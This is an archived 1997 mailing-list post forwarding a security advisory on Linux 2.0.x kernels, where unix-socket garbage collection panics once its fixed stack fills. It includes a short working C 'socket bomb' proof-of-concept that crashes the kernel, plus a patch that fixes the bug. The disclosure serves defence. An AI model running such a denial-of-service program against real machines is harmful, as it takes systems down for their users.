Fw: Insufficient allocations in net/unix/garbage.c (fwd)

From: Phillip R. Jaenke (prjat_private)
Date: Wed Dec 03 1997 - 17:54:42 PST

  • Next message: sp00n: "Possible Solaris 2.6 hole at(1M)"

    -Phillip R. Jaenke  [InterNIC Handle: PRJ5]  (prjat_private)
    MIS Department, PC Importers, Inc. 800.319.9284, x4262
    "Why do you pay tax on Spam? It's a non-food product!"
    "Well, that would explain why it's in the hardware aisle."
    > ---------- Forwarded message ----------
    > Date: Wed, 3 Dec 1997 15:47:35 -0500 (EST)
    > From: Floody <floodat_private>
    > To: linux-kernelat_private
    > Cc: linux-alertat_private, linux-securityat_private
    > Subject: Insufficient allocations in net/unix/garbage.c
    >
    > -----BEGIN PGP SIGNED MESSAGE-----
    >
    > Kernels 2.0.x do not sufficiently allocate space for the internal stack
    > used for garbage collection on unix domain sockets.  I have neither
    > examined nor tested 2.1.x kernels.
    >
    > Because the garbage collection system defines a MAX_STACK depth of 1000
    > for it's internal use, it is relatively trivial to write a user-space
    > program which opens up a large number of unix domain sockets, eventually
    > causing a kernel panic in the garbage collection routines (which test for
    > this limit and panic if hit); on systems which have NR_FILE (or
    > /proc/sys/kernel/file-max) set to a value larger than 1024 or so.  The
    > solution is slightly more complicated than simply increasing MAX_STACK,
    > due to the fact that a single page is allocated for the stack, and given
    > an i386 architecture, this can only hold 1024 entries.
    >
    > The following illustrates how a user-space program might exploit this
    > bug, causing a kernel panic:
    >
    > - --CUT HERE--
    > #include <stdio.h>
    > #include <sys/types.h>
    > #include <sys/socket.h>
    >
    > void bomb()
    > {
    >   while(1) {
    >     while(socket(AF_UNIX, SOCK_STREAM, 0) != -1) ;
    >     sleep(5);
    >   }
    > }
    >
    > int main()
    > {
    >   int i;
    >
    >   printf("forking 6 unix socket bomb processes.\n");
    >   fflush(stdout);
    >
    >   for(i = 0; i < 6; i++)
    >     if(fork() == 0) bomb();
    >
    >   bomb();
    >
    >   return 0;
    > }
    > - --CUT HERE--
    >
    > I have tested this under 2.0.32 and verified the panic.  I have even been
    > able to cause a panic on a system which does NOT have
    > /proc/sys/kernel/file-max > 1024.
    >
    > As a work-around, the following patch will cause the garbage collection
    > routine to calculate the exact _maximum_ stack depth it must allocate
    for,
    > as well as using kmalloc()/kfree() instead of
    get_free_page()/free_page().
    >
    > - --CUT HERE-
    > *** net/unix/garbage.c.orig   Wed Dec  3 14:55:10 1997
    > - --- net/unix/garbage.c      Wed Dec  3 15:04:57 1997
    > ***************
    > *** 5,10 ****
    > - --- 5,20 ----
    >    *  Copyright (C) Barak A. Pearlmutter.
    >    *  Released under the GPL version 2 or later.
    >    *
    > +  * 12/3/97 -- Flood
    > +  * Internal stack is only allocated one page.  On systems with NR_FILE
    > +  * > 1024, this makes it quite easy for a user-space program to open
    > +  * a large number of AF_UNIX domain sockets, causing the garbage
    > +  * collection routines to run up against the wall (and panic).
    > +  * Changed the MAX_STACK to be associated to the system-wide open file
    > +  * maximum, and use kmalloc() instead of get_free_page() [as more than
    > +  * one page may be necessary].  As noted below, this should ideally be
    > +  * done with a linked list.
    > +  *
    >    * Chopped about by Alan Cox 22/3/96 to make it fit the AF_UNIX socket
    problem.
    >    * If it doesn't work blame me, it worked when Barak sent it.
    >    *
    > ***************
    > *** 59,68 ****
    >
    >   /* Internal data structures and random procedures: */
    >
    > - - #define MAX_STACK 1000            /* Maximum depth of tree (about 1 page) */
    >   static unix_socket **stack; /* stack of objects to mark */
    >   static int in_stack = 0;    /* first free entry in stack */
    > !
    >
    >   extern inline unix_socket *unix_get_socket(struct file *filp)
    >   {
    > - --- 69,77 ----
    >
    >   /* Internal data structures and random procedures: */
    >
    >   static unix_socket **stack; /* stack of objects to mark */
    >   static int in_stack = 0;    /* first free entry in stack */
    > ! static int max_stack;               /* Calculated in unix_gc() */
    >
    >   extern inline unix_socket *unix_get_socket(struct file *filp)
    >   {
    > ***************
    > *** 110,116 ****
    >
    >   extern inline void push_stack(unix_socket *x)
    >   {
    > !     if (in_stack == MAX_STACK)
    >               panic("can't push onto full stack");
    >       stack[in_stack++] = x;
    >   }
    > - --- 119,125 ----
    >
    >   extern inline void push_stack(unix_socket *x)
    >   {
    > !     if (in_stack == max_stack)
    >               panic("can't push onto full stack");
    >       stack[in_stack++] = x;
    >   }
    > ***************
    > *** 151,158 ****
    >       if(in_unix_gc)
    >               return;
    >       in_unix_gc=1;
    > !
    > !     stack=(unix_socket **)get_free_page(GFP_KERNEL);
    >
    >       /*
    >        *      Assume everything is now unmarked
    > - --- 160,170 ----
    >       if(in_unix_gc)
    >               return;
    >       in_unix_gc=1;
    > !
    > !     max_stack = max_files;
    > !
    > !     stack=(unix_socket **)kmalloc(max_stack * sizeof(unix_socket **),
    > !                                       GFP_KERNEL);
    >
    >       /*
    >        *      Assume everything is now unmarked
    > ***************
    > *** 276,280 ****
    >
    >       in_unix_gc=0;
    >
    > !     free_page((long)stack);
    >   }
    > - --- 288,292 ----
    >
    >       in_unix_gc=0;
    >
    > !     kfree(stack);
    >   }
    >
    > -----BEGIN PGP SIGNATURE-----
    > Version: 2.6.2
    >
    > iQCVAwUBNIXFaRsjWkWelde9AQH58wQAh+AaooTq+AcNUVyKc5hIMb04vOmFkoVW
    > 3DaaqFvtlQ9Z0XBnfagWqguNB5HRzEG1MifkhofwXuhy64qAhcev/qZroYqS/Q96
    > ZeGXsdf4KE3LmZ5PDSrYAIRSgQjKT9A9yw6nRQUNqr/Nis7Fz5y7oQYoo2g12Jjg
    > l9N4fmbmPeY=
    > =kPxr
    > -----END PGP SIGNATURE-----
    >
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:34:11 PDT